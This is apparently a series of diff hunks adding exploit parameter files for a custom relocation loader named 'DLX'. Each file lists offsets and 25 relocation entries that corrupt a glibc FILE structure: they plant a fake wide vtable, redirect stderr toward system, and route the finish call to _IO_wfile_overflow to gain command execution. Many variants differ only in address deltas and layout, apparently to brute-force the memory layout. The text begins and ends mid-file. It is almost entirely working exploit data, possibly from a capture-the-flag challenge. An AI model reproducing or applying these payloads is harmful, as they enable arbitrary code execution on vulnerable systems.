017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x05
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x05
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x05
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x06
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x06
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x06
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x06
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
